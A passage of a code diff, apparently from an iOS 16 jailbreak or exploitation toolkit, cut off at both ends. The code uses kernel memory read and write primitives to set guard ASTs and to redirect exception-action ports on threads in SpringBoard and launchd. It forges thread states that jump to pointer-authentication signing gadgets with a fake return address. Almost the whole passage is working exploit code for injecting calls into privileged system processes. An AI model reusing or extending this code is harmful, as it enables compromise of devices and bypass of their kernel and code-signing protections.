RC_EXCEPTION_ACTION_SIZE); + uint64_t port = actions ? ds_kread64(guardAction + RC_EXCEPTION_ACTION_PORT) : 0; + uint32_t behavior = actions ? ds_kread32(guardAction + RC_EXCEPTION_ACTION_BEHAVIOR) : 0; + uint32_t flavor = actions ? ds_kread32(guardAction + RC_EXCEPTION_ACTION_FLAVOR) : 0; + uint64_t waitEvent = ds_kread64(thread + off_thread_mutex_lck_mtx_data); + uint64_t kstack = thread_get_kstackptr(thread); + uint64_t guard = ds_kread64(thread + off_thread_guard_exc_info_code); + uint64_t subcode = ds_kread64(thread + off_thread_guard_exc_info_code + 8); + uint32_t ast = ds_kread32(thread + off_thread_ast); + uint32_t ast330 = ds_kread32(thread + 0x330); + uint32_t ast338 = ds_kread32(thread + 0x338); + uint64_t tro350 = ds_kread64(thread + 0x350); + uint64_t tro358 = ds_kread64(thread + 0x358); + uint64_t tro360 = ds_kread64(thread + 0x360); + uint64_t tro368 = ds_kread64(thread + 0x368); + uint64_t taskqNext = ds_kread64(thread + rc_thread_task_threads_offset()); + + RC_IOS16_DEBUG_LOG("(rc.iOS16) guard-target %s: thread=0x%llx wait_event=0x%llx kstack=0x%llx guard=0x%llx subcode=0x%llx ast=0x%x ast330=0x%x ast338=0x%x tro=0x%llx actions=0x%llx port=0x%llx expected_port=0x%llx behavior=0x%x flavor=0x%x taskq_next=0x%llx tro350=0x%llx tro358=0x%llx tro360=0x%llx tro368=0x%llx\n", + stage, thread, waitEvent, kstack, guard, subcode, ast, ast330, ast338, tro, actions, port, expectedPort, behavior, flavor, taskqNext, tro350, tro358, tro360, tro368); + fflush(stdout); +} + +static void rc_ios16_wait_guard_ast_changed(uint64_t thread) { + uint64_t guard = ds_kread64(thread + off_thread_guard_exc_info_code); + for (int i = 0; i < 500; i++) { + usleep(1000); + } + RC_IOS16_DEBUG_LOG("(rc.iOS16) guard AST still pending after 500ms ast=0x%x guard=0x%llx\n", + ds_kread32(thread + off_thread_ast), guard); + fflush(stdout); +} + +static uint64_t rc_ios16_thread_cpu_datap(uint64_t thread) { + if (!rc_is_kernel_ptr(thread)) { + return 0; + } + uint64_t cpuData = ds_kread64(thread + RC_IOS16_OFF_THREAD_MACHINE_CPUDATAP); + return rc_is_kernel_ptr(cpuData) ? cpuData : 0; +} + +static void rc_ios16_log_thread_machine_probe(uint64_t thread, const char *stage) { + if (!rc_is_kernel_ptr(thread)) { + return; + } + + uint64_t kstackE8 = ds_kread64(thread + 0xe8); + uint64_t kstackF0 = ds_kread64(thread + 0xf0); + uint64_t cpuData140 = ds_kread64(thread + 0x140); + uint64_t cpuData148 = ds_kread64(thread + 0x148); + uint64_t cpuData150 = ds_kread64(thread + 0x150); + + RC_IOS16_DEBUG_LOG("(rc.iOS16) machine-probe %s: thread=0x%llx off_kstack=0x%x kstack[e8]=0x%llx kstack[f0]=0x%llx cpu[140]=0x%llx cpu[148]=0x%llx cpu[150]=0x%llx valid(cpu140=%d cpu148=%d cpu150=%d)\n", + stage, + thread, + off_thread_machine_kstackptr, + kstackE8, + kstackF0, + cpuData140, + cpuData148, + cpuData150, + rc_is_kernel_ptr(cpuData140), + rc_is_kernel_ptr(cpuData148), + rc_is_kernel_ptr(cpuData150)); + fflush(stdout); +} + +static BOOL rc_ios16_log_cpu_candidate_state(uint64_t thread, const char *stage) { + if (!rc_is_kernel_ptr(thread)) { + return NO; + } + + uint64_t cpuData140 = ds_kread64(thread + 0x140); + uint64_t cpuData148 = ds_kread64(thread + 0x148); + uint64_t cpuData150 = ds_kread64(thread + 0x150); + uint64_t configured = rc_ios16_thread_cpu_datap(thread); + uint64_t candidates[] = { cpuData140, cpuData148, cpuData150, configured }; + const char *names[] = { "cpu[140]", "cpu[148]", "cpu[150]", "configured" }; + BOOL foundActive = NO; + + for (int i = 0; i < 4; i++) { + uint64_t cpuData = candidates[i]; + if (!rc_is_kernel_ptr(cpuData)) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) cpu-probe %s: thread=0x%llx %s=0x%llx invalid\n", + stage, thread, names[i], cpuData); + fflush(stdout); + continue; + } + + uint64_t activeThread = ds_kread64(cpuData + RC_IOS16_OFF_CPU_ACTIVE_THREAD); + uint32_t pendingAst = ds_kread32(cpuData + RC_IOS16_OFF_CPU_PENDING_AST); + BOOL activeMatch = rc_kernel_ptr_matches(activeThread, thread); + foundActive = foundActive || activeMatch; + RC_IOS16_DEBUG_LOG("(rc.iOS16) cpu-probe %s: thread=0x%llx %s=0x%llx active=0x%llx pending_ast=0x%x active_match=%d\n", + stage, thread, names[i], cpuData, activeThread, pendingAst, activeMatch); + fflush(stdout); + } + + return foundActive; +} + +static BOOL rc_ios16_probe_thread_offsets(uint64_t thread, const char *stage) { + if (!rc_is_kernel_ptr(thread)) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) offset-probe %s: invalid thread=0x%llx\n", stage, thread); + fflush(stdout); + return NO; + } + + rc_ios16_log_thread_machine_probe(thread, stage); + BOOL active = rc_ios16_log_cpu_candidate_state(thread, stage); + uint32_t ast334 = ds_kread32(thread + 0x334); + uint32_t ast37c = ds_kread32(thread + 0x37c); + uint64_t guard308 = ds_kread64(thread + 0x308); + RC_IOS16_DEBUG_LOG("(rc.iOS16) offset-probe %s: thread=0x%llx configured(kstack=0x%x ast=0x%x guard=0x%x) ast[334]=0x%x ast[37c]=0x%x guard[308]=0x%llx active_found=%d\n", + stage, + thread, + off_thread_machine_kstackptr, + off_thread_ast, + off_thread_guard_exc_info_code, + ast334, + ast37c, + guard308, + active); + fflush(stdout); + return active; +} + +static volatile uint64_t g_rc_ios16_active_probe_sink = 0; + +static void *rc_ios16_active_worker_probe_main(void *arg) { + (void)arg; + @autoreleasepool { + uint64_t selfTask = task_self(); + mach_port_t threadSelf = mach_thread_self(); + uint64_t selfThread = rc_task_get_ipc_port_kobject(selfTask, threadSelf); + RC_IOS16_DEBUG_LOG("(rc.iOS16) active-worker: start mach=0x%x thread=0x%llx\n", + threadSelf, selfThread); + fflush(stdout); + rc_ios16_probe_thread_offsets(selfThread, "worker-self-start"); + + time_t deadline = time(NULL) + 5; + while (time(NULL) < deadline) { + for (int i = 0; i < 100000; i++) { + g_rc_ios16_active_probe_sink += (uint64_t)i ^ selfThread; + } + } + + rc_ios16_probe_thread_offsets(selfThread, "worker-self-end"); + mach_port_deallocate(mach_task_self_, threadSelf); + RC_IOS16_DEBUG_LOG("(rc.iOS16) active-worker: end thread=0x%llx sink=0x%llx\n", + selfThread, g_rc_ios16_active_probe_sink); + fflush(stdout); + } + return NULL; +} + +typedef struct { + volatile bool ready; + volatile bool waiting; + volatile bool released; + volatile bool stop; + volatile uint64_t sink; + semaphore_t gate; +} rc_ios16_self_ast_worker_ctx; + +static void *rc_ios16_self_ast_worker_main(void *arg) { + rc_ios16_self_ast_worker_ctx *ctx = (rc_ios16_self_ast_worker_ctx *)arg; + @autoreleasepool { + mach_port_t threadSelf = mach_thread_self(); + uint64_t selfThread = rc_task_get_ipc_port_kobject(task_self(), threadSelf); + RC_IOS16_DEBUG_LOG("(rc.iOS16) self-ast-worker: start mach=0x%x thread=0x%llx\n", + threadSelf, selfThread); + fflush(stdout); + rc_ios16_probe_thread_offsets(selfThread, "self-ast-worker-start"); + ctx->ready = true; + + while (!ctx->stop) { + ctx->waiting = true; + kern_return_t waitKr = semaphore_wait(ctx->gate); + ctx->waiting = false; + if (waitKr != KERN_SUCCESS) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) self-ast-worker: semaphore_wait kr=%d %s\n", + waitKr, mach_error_string(waitKr)); + fflush(stdout); + ctx->released = true; + time_t abortSpinDeadline = time(NULL) + 5; + while (!ctx->stop && time(NULL) < abortSpinDeadline) { + ctx->sink ^= (uint64_t)getpid(); + } + break; + } + if (ctx->stop) { + break; + } + ctx->released = true; + time_t spinDeadline = time(NULL) + 3; + while (!ctx->stop && time(NULL) < spinDeadline) { + ctx->sink ^= (uint64_t)getpid(); + } + } + + rc_ios16_probe_thread_offsets(selfThread, "self-ast-worker-end"); + mach_port_deallocate(mach_task_self_, threadSelf); + RC_IOS16_DEBUG_LOG("(rc.iOS16) self-ast-worker: end thread=0x%llx sink=0x%llx\n", + selfThread, ctx->sink); + fflush(stdout); + } + return NULL; +} + +static BOOL rc_ios16_propagate_guard_ast_to_observed_cpu(uint64_t thread, uint64_t cpuData, const char *stage) { + if (!cpuData) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) guard-cpu %s: thread=0x%llx cpuData=0x0 skip\n", + stage, thread); + fflush(stdout); + return NO; + } + + uint64_t activeThread = ds_kread64(cpuData + RC_IOS16_OFF_CPU_ACTIVE_THREAD); + if (!rc_kernel_ptr_matches(activeThread, thread)) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) guard-cpu %s: thread=0x%llx cpuData=0x%llx active=0x%llx skip\n", + stage, thread, cpuData, activeThread); + fflush(stdout); + return NO; + } + + uint32_t threadAst = ds_kread32(thread + off_thread_ast); + uint32_t pending = ds_kread32(cpuData + RC_IOS16_OFF_CPU_PENDING_AST); + uint32_t next = pending | RC_IOS16_AST_GUARD; + ds_kwrite32(cpuData + RC_IOS16_OFF_CPU_PENDING_AST, next); + uint32_t after = ds_kread32(cpuData + RC_IOS16_OFF_CPU_PENDING_AST); + + RC_IOS16_DEBUG_LOG("(rc.iOS16) guard-cpu %s: thread=0x%llx cpuData=0x%llx thread_ast=0x%x pending_before=0x%x pending_after=0x%x attempted=1 observed=%d\n", + stage, thread, cpuData, threadAst, pending, after, (after & RC_IOS16_AST_GUARD) != 0); + fflush(stdout); + return YES; +} + +static BOOL rc_ios16_propagate_guard_ast_to_cpu(uint64_t thread, const char *stage) { + uint64_t cpuData = rc_ios16_thread_cpu_datap(thread); + return rc_ios16_propagate_guard_ast_to_observed_cpu(thread, cpuData, stage); +} + +static void rc_ios16_clear_guard_ast_from_cpu(uint64_t thread, const char *stage) { + uint64_t cpuData = rc_ios16_thread_cpu_datap(thread); + if (!cpuData) { + return; + } + + uint32_t pending = ds_kread32(cpuData + RC_IOS16_OFF_CPU_PENDING_AST); + if ((pending & RC_IOS16_AST_GUARD) == 0) { + return; + } + + uint32_t next = pending & ~RC_IOS16_AST_GUARD; + ds_kwrite32(cpuData + RC_IOS16_OFF_CPU_PENDING_AST, next); + uint32_t after = ds_kread32(cpuData + RC_IOS16_OFF_CPU_PENDING_AST); + + RC_IOS16_DEBUG_LOG("(rc.iOS16) guard-cpu-clear %s: thread=0x%llx cpuData=0x%llx pending_before=0x%x pending_after=0x%x\n", + stage, thread, cpuData, pending, after); + fflush(stdout); +} + +static void rc_ios16_poke_springboard_first_exception(const char *stage, int round) { + if (round != 0) { + return; + } + + static void *sbsHandle = NULL; + static int (*sbsGetScreenLockStatus)(BOOL *locked, BOOL *passcode) = NULL; + static BOOL resolved = NO; + + if (!resolved) { + sbsHandle = dlopen("/System/Library/PrivateFrameworks/SpringBoardServices.framework/SpringBoardServices", RTLD_LAZY); + if (sbsHandle) { + sbsGetScreenLockStatus = dlsym(sbsHandle, "SBSGetScreenLockStatus"); + } + RC_IOS16_DEBUG_LOG("(rc.iOS16) first-exc-poke SpringBoard resolver stage=%s handle=%p fn=%p\n", + stage, sbsHandle, sbsGetScreenLockStatus); + fflush(stdout); + resolved = YES; + } + + if (!sbsGetScreenLockStatus) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) first-exc-poke SpringBoard unavailable stage=%s round=%d\n", stage, round); + fflush(stdout); + return; + } + + BOOL locked = NO; + BOOL passcode = NO; + int ret = sbsGetScreenLockStatus(&locked, &passcode); + RC_IOS16_DEBUG_LOG("(rc.iOS16) first-exc-poke SpringBoard stage=%s round=%d ret=%d lock=%d passcode=%d one-shot=1\n", + stage, round, ret, locked, passcode); + fflush(stdout); +} + +static void rc_ios16_poke_first_exception_target(const char *process, int round) { + if (!process) { + return; + } + + if (strcmp(process, "SpringBoard") == 0) { + rc_ios16_poke_springboard_first_exception("wait", round); + return; + } + + if (strcmp(process, "launchd") != 0) { + return; + } + + mach_port_t port = MACH_PORT_NULL; + kern_return_t kr = bootstrap_look_up(bootstrap_port, "lara.rc-ios16.first-exception-poke", &port); + if ((round % 10) == 0) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) first-exc-poke launchd round=%d kr=%d %s port=0x%x\n", + round, kr, mach_error_string(kr), port); + fflush(stdout); + } + if (port != MACH_PORT_NULL) { + mach_port_deallocate(mach_task_self_, port); + } +} + +static BOOL rc_ios16_propagate_active_injected_threads(NSArray *threads, const char *stage) { + BOOL propagated = NO; + for (NSNumber *threadValue in threads) { + uint64_t thread = threadValue.unsignedLongLongValue; + uint64_t cpuData = rc_ios16_thread_cpu_datap(thread); + uint64_t activeThread = cpuData ? ds_kread64(cpuData + RC_IOS16_OFF_CPU_ACTIVE_THREAD) : 0; + if (cpuData && rc_kernel_ptr_matches(activeThread, thread)) { + g_rc_ios16_last_active_injected_thread = thread; + RC_IOS16_DEBUG_LOG("(rc.iOS16) %s active injected thread=0x%llx cpuData=0x%llx active=0x%llx\n", + stage, thread, cpuData, activeThread); + fflush(stdout); + propagated |= rc_ios16_propagate_guard_ast_to_observed_cpu(thread, cpuData, stage); + } + } + return propagated; +} + +static BOOL rc_ios16_wait_first_exception(mach_port_t excport, + excmsg *exc, + const char *process, + NSArray *threads) { + const int totalTimeoutMs = 120000; + const int sliceTimeoutMs = 100; + const int maxRounds = totalTimeoutMs / sliceTimeoutMs; + + for (int round = 0; round < maxRounds; round++) { + if (waitexc(excport, exc, sliceTimeoutMs, false)) { + return YES; + } + + if (strcmp(process, "SpringBoard") == 0 && (round % 10) == 0) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) first-exc-wait re-poke SpringBoard to reactivate injected thread round=%d\n", round); + fflush(stdout); + } + rc_ios16_poke_first_exception_target(process, round); + BOOL propagated = rc_ios16_propagate_active_injected_threads(threads, "first-exc-wait"); + if ((round % 10) == 0 || propagated) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) first-exc-wait round=%d/%d propagated=%d threads=%lu\n", + round + 1, maxRounds, propagated, (unsigned long)threads.count); + fflush(stdout); + } + } + + return NO; +} + +@implementation RemoteCall (iOS16) + +static void rc_append_exception_state_inventory(NSMutableString *result, + const char *stage, + excmsg *exc, + uint64_t thread, + uint64_t firstPortAddr) { + if (!result || !exc) { + return; + } + + arm_thread_state64_internal *state = &exc->threadState; + [result appendFormat:@"%s: exception=0x%x code=[0x%llx 0x%llx] thread=0x%llx first_port=0x%llx\n", + stage, + exc->exception, + exc->codeFirst, + exc->codeSecond, + thread, + firstPortAddr]; + [result appendFormat:@"%s: pc=0x%llx raw_pc=0x%llx lr=0x%llx raw_lr=0x%llx sp=0x%llx fp=0x%llx cpsr=0x%x flags=0x%x\n", + stage, + state->__pc, + nativestrip(state->__pc), + state->__lr, + nativestrip(state->__lr), + state->__sp, + state->__fp, + state->__cpsr, + state->__flags]; + [result appendFormat:@"%s: x0=0x%llx x1=0x%llx x2=0x%llx x3=0x%llx x4=0x%llx x5=0x%llx x6=0x%llx x7=0x%llx\n", + stage, + state->__x[0], + state->__x[1], + state->__x[2], + state->__x[3], + state->__x[4], + state->__x[5], + state->__x[6], + state->__x[7]]; + [result appendFormat:@"%s: x8=0x%llx x9=0x%llx x10=0x%llx x11=0x%llx x12=0x%llx x13=0x%llx x14=0x%llx x15=0x%llx\n", + stage, + state->__x[8], + state->__x[9], + state->__x[10], + state->__x[11], + state->__x[12], + state->__x[13], + state->__x[14], + state->__x[15]]; + [result appendFormat:@"%s: x16=0x%llx x17=0x%llx x18=0x%llx x19=0x%llx x20=0x%llx x21=0x%llx x22=0x%llx x23=0x%llx\n", + stage, + state->__x[16], + state->__x[17], + state->__x[18], + state->__x[19], + state->__x[20], + state->__x[21], + state->__x[22], + state->__x[23]]; + [result appendFormat:@"%s: x24=0x%llx x25=0x%llx x26=0x%llx x27=0x%llx x28=0x%llx\n", + stage, + state->__x[24], + state->__x[25], + state->__x[26], + state->__x[27], + state->__x[28]]; + + if (thread) { + uint64_t tro = thread_get_t_tro(thread); + uint64_t actions = tro ? ds_kread64(tro + RC_IOS16_OFF_THREAD_RO_EXC_ACTIONS) : 0; + uint64_t guardAction = actions ? actions + (RC_EXC_GUARD_INDEX * RC_EXCEPTION_ACTION_SIZE) : 0; + [result appendFormat:@"%s: thread_options32=0x%x ast=0x%x guard=0x%llx subcode=0x%llx kstack=0x%llx rop=0x%llx jop=0x%llx tro=0x%llx actions=0x%llx guard_action=0x%llx\n", + stage, + ds_kread32(thread + off_thread_options), + ds_kread32(thread + off_thread_ast), + ds_kread64(thread + off_thread_guard_exc_info_code), + ds_kread64(thread + off_thread_guard_exc_info_code + 8), + thread_get_kstackptr(thread), + thread_get_rop_pid(thread), + thread_get_jop_pid(thread), + tro, + actions, + guardAction]; + if (guardAction) { + [result appendFormat:@"%s: guard_action port=0x%llx behavior=0x%x flavor=0x%x expected_port=0x%llx\n", + stage, + ds_kread64(guardAction + RC_EXCEPTION_ACTION_PORT), + ds_kread32(guardAction + RC_EXCEPTION_ACTION_BEHAVIOR), + ds_kread32(guardAction + RC_EXCEPTION_ACTION_FLAVOR), + firstPortAddr]; + } + } +} + +static const char *rc_ios16_pacia_mode_name(int mode) { + switch (mode) { + case 0: return "original-flags-raw-pc-lr"; + case 1: return "clear-all-signed-flags"; + case 2: return "clear-pc-flag-only"; + case 3: return "clear-lr-flags-only"; + case 4: return "original-flags-local-pacia-pc-lr"; + case 5: return "clear-all-local-pacia-pc-lr"; + default: return "unknown"; + } +} + +- (BOOL)runFirstLandingPaciaProbeWithResult:(NSMutableString *)result + exceptionPort:(mach_port_t)exceptionPort + exception:(excmsg *)exc + thread:(uint64_t)thread + firstPortAddr:(uint64_t)firstPortAddr { + if (!result || !exc) { + return NO; + } + + uint64_t gadget = findpacia(); + uint64_t address = nativestrip((uint64_t)getpid); + uint64_t modifier = ptrauthstrdisc("pc"); + uint32_t originalFlags = exc->threadState.__flags; + uint32_t clearAllFlags = originalFlags & ~(__DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_PC | + __DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_LR | + __DARWIN_ARM_THREAD_STATE64_FLAGS_IB_SIGNED_LR); + uint32_t mode = (uint32_t)g_rc_ios16_first_landing_pacia_mode; + uint64_t diver = (uint64_t)originalFlags & __DARWIN_ARM_THREAD_STATE64_USER_DIVERSIFIER_MASK; + uint64_t discPC = ptrauthblend(diver, ptrauthstrdisc("pc")); + uint64_t discLR = ptrauthblend(diver, ptrauthstrdisc("lr")); + arm_thread_state64_internal originalState = exc->threadState; + arm_thread_state64_internal callState = exc->threadState; + callState.__x[16] = address; + callState.__x[17] = modifier; + callState.__pc = nativestrip(gadget); + callState.__lr = FAKE_LR_TROJAN_CREATOR; + switch (mode) { + case 0: + callState.__flags = originalFlags; + break; + case 1: + callState.__flags = clearAllFlags; + break; + case 2: + callState.__flags = originalFlags & ~__DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_PC; + break; + case 3: + callState.__flags = originalFlags & ~(__DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_LR | + __DARWIN_ARM_THREAD_STATE64_FLAGS_IB_SIGNED_LR); + break; + case 4: + callState.__pc = pacia(nativestrip(gadget), discPC); + callState.__lr = pacia(FAKE_LR_TROJAN_CREATOR, discLR); + callState.__flags = originalFlags; + break; + case 5: + callState.__pc = pacia(nativestrip(gadget), discPC); + callState.__lr = pacia(FAKE_LR_TROJAN_CREATOR, discLR); + callState.__flags = clearAllFlags; + break; + default: + callState.__flags = clearAllFlags; + break; + } + + [result appendFormat:@"probe: mode=%u(%s) gadget=0x%llx address=0x%llx modifier=0x%llx diver=0x%llx disc_pc=0x%llx disc_lr=0x%llx original_flags=0x%x call_pc=0x%llx raw_call_pc=0x%llx call_lr=0x%llx raw_call_lr=0x%llx call_flags=0x%x\n", + mode, + rc_ios16_pacia_mode_name((int)mode), + gadget, + address, + modifier, + diver, + discPC, + discLR, + originalFlags, + callState.__pc, + nativestrip(callState.__pc), + callState.__lr, + nativestrip(callState.__lr), + callState.__flags]; + if (!gadget) { + [result appendString:@"probe: findpacia failed\n"]; + if (thread) { + rc_ios16_clear_guard_ast_from_cpu(thread, "first-landing-pacia-no-gadget"); + clearguardexc(thread); + } + BOOL repliedOriginal = statereply(exc, &originalState); + [result appendFormat:@"probe: reply_original_state=%d\n", repliedOriginal]; + return NO; + } + + if (thread) { + rc_ios16_clear_guard_ast_from_cpu(thread, "first-landing-pacia-before-reply"); + clearguardexc(thread); + } + + BOOL replied = statereply(exc, &callState); + [result appendFormat:@"probe: reply_to_gadget=%d\n", replied]; + if (!replied) { + return NO; + } + + excmsg exc2; + memset(&exc2, 0, sizeof(exc2)); + BOOL gotSecond = waitexc(exceptionPort, &exc2, 1500, false); + [result appendFormat:@"probe: got_second_exception=%d\n", gotSecond]; + if (!gotSecond) { + return NO; + } + + rc_append_exception_state_inventory(result, "pacia-return", &exc2, thread, firstPortAddr); + uint64_t signedAddress = exc2.threadState.__x[16]; + [result appendFormat:@"probe: signed=0x%llx changed=%d stripped=0x%llx\n", + signedAddress, + signedAddress != address, + nativestrip(signedAddress)]; + + if (thread) { + rc_ios16_clear_guard_ast_from_cpu(thread, "first-landing-pacia-before-restore"); + clearguardexc(thread); + } + BOOL restored = statereply(&exc2, &originalState); + [result appendFormat:@"probe: restore_original_state=%d\n", restored]; + return restored; +} + +- (BOOL)preflightRemotePaciaGadgetForProcessIOS16:(const char *)process result:(NSMutableString *)result { + const uint32_t expectedGadget[] = { + 0xDAC10230, + 0xAA1003E0, + 0xD65F03C0, + }; + uint32_t remoteGadget[sizeof(expectedGadget) / sizeof(expectedGadget[0])] = {0}; + uint64_t gadget = findpacia(); + uint64_t proc = process ? proc_find_by_name(process) : 0; + uint64_t task = proc ? proc_task(proc) : 0; + uint64_t vmMap = task ? task_get_vm_map(task) : 0; + BOOL readOK = NO; + BOOL match = NO; + uint64_t gadgetPage = nativestrip(gadget) & ~PAGE_MASK; + __block uint64_t containingStart = 0; + __block uint64_t containingEnd = 0; + __block uint64_t containingEntry = 0; + + _taskAddr = task; + _vmMap = vmMap; + if (gadget && _vmMap) { + @try { + vmmapiterateentries(_vmMap, ^(uint64_t start, uint64_t end, uint64_t entry, BOOL *stop) { + if (nativestrip(gadget) >= start && nativestrip(gadget) < end) { + containingStart = start; + containingEnd = end; + containingEntry = entry; + *stop = YES; + } + }); + } @catch (NSException *exception) { + [result appendFormat:@"preflight: vmmap_iter_exception name=%@ reason=%@\n", + exception.name, + exception.reason]; + } + if (containingEntry) { + uint32_t objectOrDelta = 0; + uint64_t aliasRaw = 0; + uint32_t entryStartWord = 0; + BOOL entryStartMapOK = NO; + uint32_t gadgetPageWord = 0; + BOOL gadgetPageMapOK = NO; + @try { + objectOrDelta = ds_kread32(containingEntry + off_vm_map_entry_vme_object_or_delta); + aliasRaw = ds_kread64(containingEntry + off_vm_map_entry_vme_alias); + } @catch (NSException *exception) { + [result appendFormat:@"preflight: entry_read_exception name=%@ reason=%@\n", + exception.name, + exception.reason]; + } + @try { + struct vmshmem shmem = vmmapremotepage(_vmMap, containingStart); + entryStartMapOK = shmem.used; + if (shmem.used) { + entryStartWord = *(volatile uint32_t *)(uintptr_t)shmem.localAddress; + mach_vm_deallocate(mach_task_self_, shmem.localAddress, PAGE_SIZE); + } + } @catch (NSException *exception) { + [result appendFormat:@"preflight: entry_start_map_exception name=%@ reason=%@\n", + exception.name, + exception.reason]; + } + @try { + struct vmshmem shmem = vmmapremotepage(_vmMap, gadgetPage); + gadgetPageMapOK = shmem.used; + if (shmem.used) { + gadgetPageWord = *(volatile uint32_t *)((uintptr_t)shmem.localAddress + (nativestrip(gadget) & PAGE_MASK)); + memcpy(remoteGadget, (void *)((uintptr_t)shmem.localAddress + (nativestrip(gadget) & PAGE_MASK)), sizeof(remoteGadget)); + mach_vm_deallocate(mach_task_self_, shmem.localAddress, PAGE_SIZE); + readOK = YES; + match = memcmp(remoteGadget, expectedGadget, sizeof(expectedGadget)) == 0; + } + } @catch (NSException *exception) { + [result appendFormat:@"preflight: gadget_page_map_exception name=%@ reason=%@\n", + exception.name, + exception.reason]; + } + [result appendFormat:@"preflight: containing_entry start=0x%llx end=0x%llx entry=0x%llx object_or_delta=0x%x alias_raw=0x%llx gadget_page=0x%llx page_delta=0x%llx\n", + containingStart, + containingEnd, + containingEntry, + objectOrDelta, + aliasRaw, + gadgetPage, + gadgetPage >= containingStart ? gadgetPage - containingStart : 0]; + [result appendFormat:@"preflight: entry_start_map_ok=%d entry_start_word=0x%08x gadget_page_map_ok=%d gadget_page_word=0x%08x\n", + entryStartMapOK, + entryStartWord, + gadgetPageMapOK, + gadgetPageWord]; + } else { + [result appendFormat:@"preflight: containing_entry not_found gadget_page=0x%llx\n", gadgetPage]; + } + } + if (gadget && _vmMap && !readOK) { + @try { + readOK = [self remoteRead:nativestrip(gadget) to:remoteGadget size:sizeof(remoteGadget)]; + } @catch (NSException *exception) { + [result appendFormat:@"preflight: remote_read_exception name=%@ reason=%@\n", + exception.name, + exception.reason]; + readOK = NO; + } + match = readOK && memcmp(remoteGadget, expectedGadget, sizeof(expectedGadget)) == 0; + } + + [result appendFormat:@"preflight: process=%s proc=0x%llx task=0x%llx vmmap=0x%llx local_gadget=0x%llx read_ok=%d match=%d bytes=%08x %08x %08x expected=%08x %08x %08x\n", + process ? process : "(null)", + proc, + task, + vmMap, + gadget, + readOK, + match, + remoteGadget[0], + remoteGadget[1], + remoteGadget[2], + expectedGadget[0], + expectedGadget[1], + expectedGadget[2]]; + return match; +} + +- (void)rememberIOS16ExceptionActionsForThreadRo:(uint64_t)threadRo originalActions:(uint64_t)actions { + if (!threadRo) { + return; + } + + for (int i = 0; i < g_rc_ios16_exception_actions_restore_count; i++) { + if (g_rc_ios16_exception_actions_restore[i].threadRo == threadRo) { + return; + } + } + + if (g_rc_ios16_exception_actions_restore_count >= (int)(sizeof(g_rc_ios16_exception_actions_restore) / sizeof(g_rc_ios16_exception_actions_restore[0]))) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) exception-actions restore table full, not tracking tro=0x%llx\n", threadRo); + fflush(stdout); + return; + } + + g_rc_ios16_exception_actions_restore[g_rc_ios16_exception_actions_restore_count].threadRo = threadRo; + g_rc_ios16_exception_actions_restore[g_rc_ios16_exception_actions_restore_count].actions = actions; + g_rc_ios16_exception_actions_restore_count++; +} + +- (void)restoreIOS16ExceptionActions { + [self restoreIOS16ExceptionActionsSkippingThreadRo:0]; +} + +- (void)restoreIOS16ExceptionActionsSkippingThreadRo:(uint64_t)skipThreadRo { + RC_IOS16_DEBUG_LOG("(rc.iOS16) restore exc-actions begin count=%d\n", g_rc_ios16_exception_actions_restore_count); + fflush(stdout); + + for (int i = 0; i < g_rc_ios16_exception_actions_restore_count; i++) { + uint64_t tro = g_rc_ios16_exception_actions_restore[i].threadRo; + uint64_t actions = g_rc_ios16_exception_actions_restore[i].actions; + if (skipThreadRo && tro == skipThreadRo) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) restore exc-actions skip current tro=0x%llx original=0x%llx\n", tro, actions); + fflush(stdout); + continue; + } + BOOL restored = rc_ios16_write64_in_zone_block(tro + RC_IOS16_OFF_THREAD_RO_EXC_ACTIONS, actions); + RC_IOS16_DEBUG_LOG("(rc.iOS16) restore exc-actions tro=0x%llx original=0x%llx restored=%d\n", tro, actions, restored); + fflush(stdout); + } + g_rc_ios16_exception_actions_restore_count = 0; +} + +- (BOOL)verifyIOS16ExceptionActionsForThread:(uint64_t)thread exceptionPort:(mach_port_t)exceptionPort stage:(const char *)stage { + uint64_t tro = thread_get_t_tro(thread); + uint64_t actions = tro ? ds_kread64(tro + RC_IOS16_OFF_THREAD_RO_EXC_ACTIONS) : 0; + uint64_t guardAction = actions + (RC_EXC_GUARD_INDEX * RC_EXCEPTION_ACTION_SIZE); + uint64_t expectedPort = rc_task_get_ipc_port_object(task_self(), exceptionPort); + uint64_t port = actions ? ds_kread64(guardAction + RC_EXCEPTION_ACTION_PORT) : 0; + uint32_t behavior = actions ? ds_kread32(guardAction + RC_EXCEPTION_ACTION_BEHAVIOR) : 0; + uint32_t flavor = actions ? ds_kread32(guardAction + RC_EXCEPTION_ACTION_FLAVOR) : 0; + uint32_t expectedBehavior = EXCEPTION_STATE | MACH_EXCEPTION_CODES; + uint32_t expectedFlavor = ARM_THREAD_STATE64; + BOOL ok = actions && + rc_kernel_ptr_matches(port, expectedPort) && + behavior == expectedBehavior && + flavor == expectedFlavor; + + RC_IOS16_DEBUG_LOG("(rc.iOS16) verify exc-actions %s: thread=0x%llx tro=0x%llx actions=0x%llx guard_action=0x%llx port=0x%llx expected_port=0x%llx behavior=0x%x expected_behavior=0x%x flavor=0x%x expected_flavor=0x%x ok=%d\n", + stage ? stage : "unknown", thread, tro, actions, guardAction, port, expectedPort, behavior, expectedBehavior, flavor, expectedFlavor, ok); + fflush(stdout); + return ok; +} + +- (BOOL)installIOS16SharedDummyExceptionActionsForThread:(uint64_t)thread exceptionPort:(mach_port_t)exceptionPort exceptionMask:(uint32_t)exceptionMask { + kern_return_t kr = thread_set_exception_ports(_dummyThreadMach, + exceptionMask, + exceptionPort, + EXCEPTION_STATE | MACH_EXCEPTION_CODES, + ARM_THREAD_STATE64); + uint64_t targetTro = thread_get_t_tro(thread); + uint64_t dummyTro = _dummyThreadTro; + uint64_t targetOldActions = targetTro ? ds_kread64(targetTro + RC_IOS16_OFF_THREAD_RO_EXC_ACTIONS) : 0; + uint64_t dummyActions = dummyTro ? ds_kread64(dummyTro + 